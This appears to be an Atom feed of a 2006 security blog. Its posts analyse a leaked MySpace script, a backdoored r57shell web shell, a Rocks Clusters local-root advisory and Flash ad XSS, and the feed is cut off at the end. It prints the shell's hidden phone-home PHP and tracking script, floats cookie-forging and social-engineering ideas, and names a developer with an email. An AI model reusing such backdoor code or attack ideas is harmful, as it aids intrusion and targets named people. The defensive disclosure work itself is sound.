<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-16578208</id><updated>2011-06-25T10:15:29.316-04:00</updated><title type='text'>Xavier's Security Post</title><subtitle type='html'>This public blog will be a place for me to output any Security findings, both technological and physical, that I have come about. I will post Security advisories I was apart of, and also other interesting bits of knowledge.

email: xavier [at] tigerteam.se</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>35</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-16578208.post-115982034508908351</id><published>2006-10-02T12:51:00.000-04:00</published><updated>2006-10-03T15:00:01.390-04:00</updated><title type='text'>Developers and Disclosure -UPDATE</title><content type='html'>Someone got in contact with me, and whoever it was thanks! I was very interested in how that all went down :)&lt;br /&gt;&lt;br /&gt;So it appears the MySpace source code was posted by a separate security researcher who discovered the source code in diagnostic error messages. He uploaded to that ShortText site and thats a wrap. The code, as I speculated, is quite old. It turns out, as the anonymous source noted, the cookie structure is quite different than the old one parsed in the user.session source posted below. &lt;br /&gt;&lt;br /&gt;Thanks!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;OLD POST =================================== BELOW&lt;br /&gt;A few months ago I had emailed security@myspace.com concerning a security vulnerability with their embedded flash objects. Two separate staffers at the company emailed me back asking about the vulnerability. They took my disclosure and information and vanished. Thus they ceased communication with me, and fixed the mentioned holes. Thats the end of the story right? Wrong.&lt;br /&gt;&lt;br /&gt;A simple &lt;a href="http://www.google.com/search?hl=en&amp;q=%22Keith+Boster%22&amp;btnG=Google+Search"&gt;Google'ing&lt;/a&gt; yielded an interesting page. It turns out one of the guys who contacted me actually pasted a MySpace.com coldfusion script on a public web site called &lt;a href="http://www.shorttext.com"&gt;ShortText&lt;/a&gt;. The script is titled &lt;a href="http://www.shorttext.com/fq09k"&gt;user.session&lt;/a&gt; and contains several pieces of information that can be sensitive.&lt;br /&gt;&lt;br /&gt;After a quick read we note a few things:&lt;ul&gt;a) Author: TheBoz(Keith Boster)&lt;br /&gt;b) Orig Date:  12/23/03&lt;br /&gt;c) A person by the name of "Kevin" did the debugging work, and his email is: kfreund@myspace.com&lt;br /&gt;d) The internal CF server IP (10.20.0.153), Port number (1890) and message ("#userLogin.UserID#,1,#displayonlinestatus#")&lt;/ul&gt;&lt;a href="http://www.dreagis.com"&gt;Paradox&lt;/a&gt; stated an attacker could potentially elevate their user access to PowerUser if two things could be discovered: the "encKey" value and the encryption method.&lt;br /&gt;&lt;br /&gt;From the looks of it the cookie structure is something like this:&lt;ul&gt;UserID|UserType|Permissions|UserEmail|UserFirstName|LastClick|HideStatus&lt;/ul&gt;The following is an attempt at explaining the important values:&lt;ul&gt;&lt;span style="font-weight:bold;"&gt;UserID&lt;/span&gt;: This value is the integer each account is given upon registration.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;UserType&lt;/span&gt;: This value distinguishes your status on MySpace. The following values are from the script itself: &lt;br /&gt;2 = Regular User&lt;br /&gt;5 = Group&lt;br /&gt;4 = Moderator and/or Paid User&lt;br /&gt;6 = Power User&lt;br /&gt;7 = Band&lt;/ul&gt;We can speculate, by reading the disclosed user.session source, that the cookie can be manipulated into elevating a users account from regular user to power user, or even moderator. It must be noted that the script was uploaded some time ago so we're only able to critique a potentially obsolete script.&lt;br /&gt;&lt;br /&gt;A determined attacker can do several things--encrypt an arbitrary cookie using several schemes present and accessible to ColdFusion and .Net the likes of RC5, 3DES, AES etc, then base64 the output and compare the hash to actual MySpace cookies. Somewhere along the line you'll figure out other parts to the attack, or give up. An attacker could also pose as the codes "Author" and contact the "Debug" guy and play a game. &lt;span style="font-style:italic;"&gt;Can you social engineer a MySpace developer?&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-115982034508908351?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/115982034508908351/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=115982034508908351' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/115982034508908351'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/115982034508908351'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2006/10/developers-and-disclosure-update.html' title='Developers and Disclosure -UPDATE'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-115806564313434082</id><published>2006-09-12T08:45:00.000-04:00</published><updated>2006-09-14T09:45:12.690-04:00</updated><title type='text'>Deception within Obfuscation</title><content type='html'>A few days ago "&lt;a href="mailto:fulll_disclosure@yahoo.com"&gt;full_disclosure full_disclosure&lt;/a&gt;" posted on [Full Disclosure] about the present malware in r57shell. As some of you may know; r57shell is a PHP script that is often used by attackers and penetration testers alike in remote and local inclusion scenarios for the sake of having a fully-packed PHP shell interface. When using scripts the likes of r57shell one must always keep in mind that authors of such tools are usually intelligent beings who are capable of smuggling obscure means of deception. &lt;br /&gt;&lt;br /&gt;Lets look at a few ways the r57shell developers can spot your attacks, and, even attack the servers you have successfully attacked in accordance to r57shell version 1.31:&lt;br /&gt;&lt;br /&gt;1) Lines 1504 to 1510:&lt;ul&gt;if(empty($_POST['cmd'])) {&lt;br /&gt;$serv = array(127,192,172,10);&lt;br /&gt;$addr=@explode('.', $_SERVER['SERVER_ADDR']);&lt;br /&gt;$current_version = str_replace('.','',$version);&lt;br /&gt;if (!in_array($addr[0], $serv)) {&lt;br /&gt;@print "&amp;lt;img src=\"http://rst.void.ru/r57shell_version/version.php?img=1&amp;version=".$current_version."\" border=0 height=0 width=0&amp;gt;";&lt;br /&gt;@readfile ("http://rst.void.ru/r57shell_version/version.php?version=".$current_version."");}}&lt;/ul&gt;In human translation:&lt;ul&gt;a) If the 'cmd' variable is empty via the POST method then&lt;br /&gt;b) Set an array of '127', '192', '172', and '10' to the 'serv' variable ('127', '192', '172', and '10' refer to first bit of loopback and internal addresses)&lt;br /&gt;c) Set the variable 'addr' with the separated bits of an the servers IP address&lt;br /&gt;d) Remove any periods in the 'version' variable and set that new value to the 'current_version' variable&lt;br /&gt;e) If the first bit of the IP address is not in the array then:&lt;br /&gt;f) Load an image from http://rst.void.ru/r57shell_version/version.php and set the variable 'img' to "1" and version to "131"&lt;br /&gt;g) Read the contents of http://rst.void.ru/r57shell_version/version.php and set the variable 'version' to '131'&lt;br /&gt;h) That is all&lt;/ul&gt;In essence the above doesn't look too suspicious but be forewarned--it is quite dangerous. In exhibit 'f' your browser is instructed to view an image from the rst.void.ru web server. The variable 'img' is set to "1" as to almost declare to the developers of r57shell that the incoming IP address is of the attacker. In other words--the developers of r57shell know who attacked what. In exhibit 'g' the server is instructed to read a file off of the rst.void.ru web server. It does not set the variable 'img' to "1" which may indicate that the incoming server is the vulnerable box. That gives the r57shell developers the opportunity to take over the server you are attacking.&lt;br /&gt;&lt;br /&gt;To give you an idea of the bad intentions of the code above you have to look at exhibits 'b', 'c', and 'e' as they determine whether or not your server is worthwhile. Internal IP and loopback addresses are useless to an attacker who seems interested in a quick and easy hack. The intent of accessing the vulnerable servers IP address is clear--but what is the intent of the developers knowing your IP address? Blackmale? Accusation? Research purposes? The unknown factor is what is dangerous.&lt;br /&gt;&lt;br /&gt;2) The original issue posted on Full Disclosure originally is in lines 1469-1487, 1593 to 1595, and 2204. I am not going to paste the contents of 1469 to 1487 as its a big chunk of base64 code, but the following is its human translation:&lt;ul&gt;a) Set the variable 'c1' with: &amp;lt;script language="javascript"&amp;gt;hotlog_js="1.0";hotlog_r=""+Math.random()+"&amp;s=81606&amp;im=1&amp;r=&lt;br /&gt;"+escape(document.referrer)+"&amp;pg="+escape(window.location.href);document.cookie=&lt;br /&gt;"hotlog=1; path=/"; hotlog_r+="&amp;c="+(document.cookie?"Y":"N");&amp;lt;/script&amp;gt;&amp;lt;script language="javascript1.1"&amp;gt;hotlog_js="1.1";hotlog_r+="&amp;j="+(navigator.javaEnabled&lt;br /&gt;()?"Y":"N")&amp;lt;/script&amp;gt;&amp;lt;script language="javascript1.2"&amp;gt;hotlog_js="1.2";hotlog_r+="&amp;wh="+screen.width+'x'+screen&lt;br /&gt;.height+"&amp;px="+(((navigator.appName.substring(0,3)=="Mic"))?screen.colorDepth:screen&lt;br /&gt;.pixelDepth)&amp;lt;/script&amp;gt;&amp;lt;script language="javascript1.3"&amp;gt;hotlog_js="1.3"&amp;lt;/script&amp;gt;&amp;lt;script language="javascript"&amp;gt;hotlog_r+="&amp;js="+hotlog_js;document.write("&amp;lt;a href='http://click.hotlog.ru/?81606' target='_top'&amp;gt;&amp;lt;img "+" src='http://hit4.hotlog.ru/cgi-bin/hotlog/count?"+hotlog_r+"&amp;' border=0 width=1 height=1 alt=1&amp;gt;&amp;lt;/a&amp;gt;")&amp;lt;/script&amp;gt;&amp;lt;noscript&amp;gt;&amp;lt;a href=http://click.hotlog.ru/?81606 target=_top&amp;gt;&amp;lt;imgsrc="http://hit4.hotlog.ru/cgi-bin/hotlog/count?s=81606&amp;im=1" border=0width="1" height="1" alt="HotLog"&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/noscript&amp;gt;&lt;br /&gt;&lt;br /&gt;b) Set the variable 'c2' with: &amp;lt;!--LiveInternet counter--&amp;gt;&amp;lt;script language="JavaScript"&amp;gt;&amp;lt;!--&lt;br /&gt;document.write('&amp;lt;a href="http://www.liveinternet.ru/click" '+&lt;br /&gt;'target=_blank&amp;gt;&amp;lt;img src="http://counter.yadro.ru/hit?t52.6;r'+&lt;br /&gt;escape(document.referrer)+((typeof(screen)=='undefined')?'':&lt;br /&gt;';s'+screen.width+'*'+screen.height+'*'+(screen.colorDepth?&lt;br /&gt;screen.colorDepth:screen.pixelDepth))+';'+Math.random()+&lt;br /&gt;'" alt="liveinternet.ru: ïîêàçàíî ÷èñëî ïðîñìîòðîâ è ïîñåòèòåëåé çà 24 ÷àñà" '+&lt;br /&gt;'border=0 width=0 height=0&amp;gt;&amp;lt;/a&amp;gt;')//--&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;!--/LiveInternet--&amp;gt;&lt;br /&gt;&lt;br /&gt;c) After the 'c1' and 'c2' variables are set, a third variable on line 1593 called 'f' is then set. It starts the variable with a &amp;lt;br&amp;gt; and appends the base64 decoded values (the javascript code above). And finally the code is executed on line 2204 at the end of the code. The code looks like:&lt;ul&gt;echo '&amp;lt;/table&amp;gt;'.$table_up3."&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div align=center id='n'&amp;gt;&amp;lt;font face=Verdana size=-2&amp;gt;&amp;lt;b&amp;gt;o---[ r57shell - http-shell by RST/GHC | &amp;lt;a href=http://rst.void.ru&amp;gt;http://rst.void.ru&amp;lt;/a&amp;gt; | &amp;lt;a href=http://ghc.ru&amp;gt;http://ghc.ru&amp;lt;/a&amp;gt; | version ".$version." ]---o&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;"&lt;b&gt;.$f&lt;/b&gt;;&lt;/ul&gt;Take note of ".$f" as that is your malicious code being added to the echo string.&lt;br /&gt;&lt;br /&gt;d) On line 1592 you see&lt;ul&gt;if(empty($c1)||empty($c2)) { die(); }&lt;/ul&gt;The scripts makes a check to see if its been discovered--if the 'c1' and 'c2' variables are empty then the script dies.&lt;/ul&gt;Clearly it seems the authors of r57shell have attempted, successfully, to spread malware within the form of malware itself. &lt;br /&gt;&lt;br /&gt;The backdoored code is still hosted at: http://rst.void.ru/download/r57shell.txt.gz&lt;br /&gt;&lt;br /&gt;To their credit though, it's a great tool regardless. Just need to yank out the bad stuff :)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://digg.com/submit?phase=2&amp;url=http://xavsec.blogspot.com/2006/09/deception-within-obfuscation.html&amp;title=Deception within Obfuscation&amp;topic=Security"&gt;» digg it&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-115806564313434082?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/115806564313434082/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=115806564313434082' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/115806564313434082'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/115806564313434082'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2006/09/deception-within-obfuscation.html' title='Deception within Obfuscation'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-115418158324957303</id><published>2006-07-29T07:33:00.000-04:00</published><updated>2006-07-29T10:04:50.966-04:00</updated><title type='text'>Service includes: One Banner, Lots of clicks, One Attack Vector!</title><content type='html'>As I pointed out before (in &lt;a href="http://xavsec.blogspot.com/2006/06/your-space-my-flash-his-cookies.html"&gt;Your Space, My Flash, His Cookies&lt;/a&gt;) there are companies out there--even the high profile ones--which are accepting of vulnerable advertisement code. To understand why companies are willing to open up attack vectors on their servers, one has to look at the beginning of it all. &lt;br /&gt;&lt;br /&gt;Lets say you just thought of a radical new social-site idea that will make you rich! you start working on the site as a hobby, it turns into a project, and word starts going around to your friends. Feedback is coming into the mix, and now you're at a point where you are signing up with every social-site out there. You're researching their pros, their cons, you hire some consultants (or if you're broke, you'll ask friends) to evaluate your potential competitors. &lt;br /&gt;&lt;br /&gt;Now you have extracted all the good, and have retracted all the bad from those sites. Your site goes live, and users start to come in. You start verbally (or textually) getting the word out. Your site has new spanking ideas! It's where all the cool cats hang out on! "It's faster, sleeker, and quite sexy!" you say. Your users are now exceeding ten thousand, and you note that its time to start making money from your investment. &lt;br /&gt;&lt;br /&gt;You do some research on your own and decide to either use some service like AdSense, or consider accepting any advertiser who is willing to pay you top bucks for your horde of users. You go with the latter, and after some time some advertisers come your way. As time progressed you decided to put up one of those professional-looking "Advertise with us!" pages. Within you have some rates, or a contact form--along side banner sizes, or even examples of creating a Flash banner. Here is where the first issue arises;&lt;blockquote&gt;[1] You copy and pasted some ActionScript code for a Flash advertisement scheme that was on some social-site competitor.&lt;/blockquote&gt;You were in a rush and did not research into the possibility that code was vulnerable. That is one vector you opened.&lt;br /&gt;&lt;br /&gt;Advertisers have been in contact with you--many of them willing to spend big bucks too--so of course your idea has been a success, bravo. Your user count is five hundred thousand. The site is getting notoriety, the users are becoming obsessed, and the advertisers are throwing funds at you. Until the drama starts.&lt;br /&gt;&lt;br /&gt;An attacker discovered an XSS hole in one of the forum pages. He was able to quietly steal the cookies of every user who went to a certain popular site. He first started his conquest by stealing a few vanity accounts--those with cool usernames like "lust" or "security"--then he started trading them, selling them. The attacker was upset one day by a clique of users, and he subsequently, had all of their accounts deleted (thanks due to that nifty self-delete button you added in a rush). Complaints pour in, security researchers discover the attack and report on it. Your precious site is getting a bad rap about security issues. More attackers are attracted to the site. Now you have fuzzing bots searching for holes in every possible variable, users bashing the site on its own forums, and potential advertisers start flocking to your competitors.&lt;br /&gt;&lt;br /&gt;You're smart though, right? you managed to create a successful social-site and that itself is not too much of an easy task nowadays. You spent hours combing through your source code--you found several nasty holes and had them patched. In between the drama you were able to utilize the free press you received to unveil a new feature to the site and everybody is googoo over it. Advertisers start coming back, and the show is back on the road.&lt;br /&gt;&lt;br /&gt;Then one day, in between one to several million users registered, you get a request from an advert to host a Flash banner. It's not an odd request, as it is nothing out of the ordinary. Instead of requesting the source code to the file, you throw into queue. It should only circulate to a certain amount of users, then it comes right off. "What's the point?" you ask yourself before moving onto another equally important topic. The banner goes live, users see ads, others see popups, and a chunk of your users are suddenly infected with malware. &lt;blockquote&gt;[2] You uploaded a Flash file to your server without verifying the contents within&lt;/blockquote&gt;Not only did you open up an attack vector on your own server, but you compromised your idea entirely for financial gain, and alienated your users.&lt;br /&gt;&lt;br /&gt;To get outside of the scenario aforementioned above--the situation itself is a mix between the worms that have been hitting Facebook, MySpace among plenty of others. In fact as recent as this month MySpace allowed an advertiser to upload an arbitrary Flash file which exploited a Windows vulnerability, installed malware on its users, and alienated not only its users, advertisers, investors, but also Netizens who will be extremely wary of going to a site that is potentially arbitrary.&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-115418158324957303?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/115418158324957303/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=115418158324957303' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/115418158324957303'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/115418158324957303'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2006/07/service-includes-one-banner-lots-of.html' title='Service includes: One Banner, Lots of clicks, One Attack Vector!'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-115290330032531993</id><published>2006-07-14T12:40:00.000-04:00</published><updated>2006-12-13T05:54:20.816-05:00</updated><title type='text'>Rocks Clusters &lt;=4.1 local root</title><content type='html'>&lt;span style="font-style:italic;"&gt;Before May 31st I had discovered several holes in Rocks Clusters, a Linux cluster-friendly distribution. The vulnerabilities are quite trivial, and the bad part is that the suid binaries in question have been circulated with the distribution for a long time without discovery--thus a wide user base is affected. The advisory is below:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;              tigerteam.se security advisory - TSEAD-200606-6&lt;br /&gt;                              www.tigerteam.se&lt;br /&gt;&lt;br /&gt;     Advisory: Rocks Clusters &lt;=4.1 local root vulnerabilities&lt;br /&gt;         Date: Wed Jul 5 15:52:59 EDT 2006&lt;br /&gt;  Application: mount-loop, umount-loop&lt;br /&gt;Vulnerability: Lack of filtering on arguments allow for privilege escalation&lt;br /&gt;    Reference: TSEAD-200606-6&lt;br /&gt;       Author: Xavier de Leon - xavier@tigerteam.se&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SYNOPSIS&lt;br /&gt;&lt;br /&gt;    "Rocks is a complete "cluster on a CD" solution for x86 and IA64 Red Hat &lt;br /&gt;     Linux COTS clusters. Building a Rocks cluster does not require any &lt;br /&gt;     experience in clustering, yet a cluster architect will find a flexible &lt;br /&gt;     and programmatic way to redesign the entire software stack just below the &lt;br /&gt;     surface (appropriately hidden from the majority of users). Although Rocks &lt;br /&gt;     includes the tools expected from any clustering software stack (PBS, &lt;br /&gt;     Maui, GM support, Ganglia, etc), it is unique in its simplicity of &lt;br /&gt;     installation."[7]&lt;br /&gt;     &lt;br /&gt;     Rocks Clusters &lt;=4.1 is vulnerable to local root privilege escalation&lt;br /&gt;     due to improper validating of arguments in two of its suid and world &lt;br /&gt;     executable binaries, "mount-loop" and "umount-loop". Rocks Clusters has &lt;br /&gt;     an unofficial cluster count[6] of 883 with 41,535 CPUs and 198456.66 &lt;br /&gt;     FLOPS.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;VENDER RESPONSE&lt;br /&gt;&lt;br /&gt;    May 31, 2006: Initial contact&lt;br /&gt;     Jun 1, 2006: Response, Disclosure, Verification of bug,&lt;br /&gt;                  redirected to another project Contact. Fixed&lt;br /&gt;                  in CVS[1]&lt;br /&gt;     Jun 9, 2006: Attempted contact after 8 days of silence&lt;br /&gt;    Jun 28, 2006: Project releases Rocks v4.2 Beta with fix&lt;br /&gt;    Jun 30, 2006: Attempted contact after 29 days of silence&lt;br /&gt;     Jul 5, 2006: No contact&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;VULNERABILITIES&lt;br /&gt;&lt;br /&gt;    1) mount-loop:&lt;br /&gt;       mount-loop is a binary that is distributed with suid root and is world&lt;br /&gt;       executable. &lt;br /&gt;       &lt;br /&gt;       The problem is the program does not properly filter args&lt;br /&gt;       to be used in a system() execution. An attacker could gain root from&lt;br /&gt;       command line. A link[2] to its source can be found below.&lt;br /&gt;       &lt;br /&gt;       PoC[4] provided below.&lt;br /&gt;&lt;br /&gt;    2) umount-loop:&lt;br /&gt;       umount-loop is a binary that is distributed with suid root and is world&lt;br /&gt;       executable. &lt;br /&gt;       &lt;br /&gt;       The problem is the program does not properly filter args&lt;br /&gt;       to be used in a system() execution. An attacker could gain root from&lt;br /&gt;       command line. A link[3] to its source can be found below.&lt;br /&gt;&lt;br /&gt;       PoC[5] provided below.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;DISCOVERY&lt;br /&gt;&lt;br /&gt;    Xavier de Leon &lt;xavier@tigerteam.se&gt;&lt;br /&gt;    check out http://xavsec.blogspot.com for future sec releases on my part&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ABOUT TIGERTEAM.SE&lt;br /&gt;&lt;br /&gt;    tigerteam.se offers spearhead competence within the areas of vulnerability&lt;br /&gt;    assessment, penetration testing, security implementation, and advanced&lt;br /&gt;    ethical hacking training. tigerteam.se consists of Michel Blomgren -&lt;br /&gt;    company owner (M. Blomgren IT Security) and Xavier de Leon - freelancing IT&lt;br /&gt;    security consultant. Together we have worked for organizations in over 15&lt;br /&gt;    countries.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;REFERENCES&lt;br /&gt;&lt;br /&gt;    [1]: &lt;a href="http://cvs.rocksclusters.org/viewcvs/viewcvs.cgi/rocks/src/roll/base/nodes/rocks-dist.xml?rev=1.10&amp;content-type=text/vnd.viewcvs-markup"&gt;/rocks/src/roll/base/nodes/rocks-dist.xml?rev=1.10&amp;content-type=text/vnd.viewcvs-markup&lt;/a&gt;&lt;br /&gt;    [2]: &lt;a href="http://cvs.rocksclusters.org/viewcvs/viewcvs.cgi/rocks/src/roll/base/src/dist/mount-loop.c?rev=1.4&amp;content-type=text/vnd.viewcvs-markup"&gt;/rocks/src/roll/base/src/dist/mount-loop.c?rev=1.4&amp;content-type=text/vnd.viewcvs-markup&lt;/a&gt;&lt;br /&gt;    [3]: &lt;a href="http://cvs.rocksclusters.org/viewcvs/viewcvs.cgi/rocks/src/roll/base/src/dist/umount-loop.c?rev=1.4&amp;content-type=text/vnd.viewcvs-markup"&gt;/rocks/src/roll/base/src/dist/umount-loop.c?rev=1.4&amp;content-type=text/vnd.viewcvs-markup&lt;/a&gt;&lt;br /&gt;    [4]: &lt;a href="http://xavier.tigerteam.se/exploits/rocksmountdirty.sh"&gt;http://xavier.tigerteam.se/exploits/rocksmountdirty.sh&lt;/a&gt;&lt;br /&gt;    [5]: &lt;a href="http://xavier.tigerteam.se/exploits/rocksumountdirty.py"&gt;http://xavier.tigerteam.se/exploits/rocksumountdirty.py&lt;/a&gt;&lt;br /&gt;    [6]: &lt;a href="http://www.rocksclusters.org/rocks-register/"&gt;http://www.rocksclusters.org/rocks-register/&lt;/a&gt;&lt;br /&gt;    [7]: &lt;a href="http://distrowatch.com/table.php?distribution=rockscluster"&gt;http://distrowatch.com/table.php?distribution=rockscluster&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-115290330032531993?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/115290330032531993/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=115290330032531993' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/115290330032531993'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/115290330032531993'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2006/07/rocks-clusters-41-local-root.html' title='Rocks Clusters &lt;=4.1 local root'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-114955985930096037</id><published>2006-06-05T18:11:00.000-04:00</published><updated>2006-07-06T11:22:57.490-04:00</updated><title type='text'>Your Space, My Flash, His Cookies</title><content type='html'>I've spent some time looking at Flash files, and the ActionScript code within, looking for vectors of attack. I've found that high profile sites the likes of MySpace, Xanga, and Google (the da vinco promotions) are quick to embed promotional Flash objects on their pages without proper assessment.&lt;br /&gt;&lt;br /&gt;Imagine a situation where an advertiser creates a quick and almost seemingly innocent Flash animation, but inside in its Action frames there is something quite wrong. Now imagine the "wrong" I reference is actually the following:&lt;blockquote&gt;{&lt;br /&gt;    getURL(clickTag, "_top");&lt;br /&gt;}&lt;/blockquote&gt;The above code is executed when a user clicks on the banner, and clickTag (for example) is actually a variable with a value specified inside the site (usually something like: "http://adstracking.whatever.com/redir?url=http://ads.hatever.com/ads.aspx?ad=124"). It ends up opening up a vector of attack: Cross Site Scripting. It should be noted that in order for the XSS attack to occur, the victim must click on the image/ad once they've been redirected to the 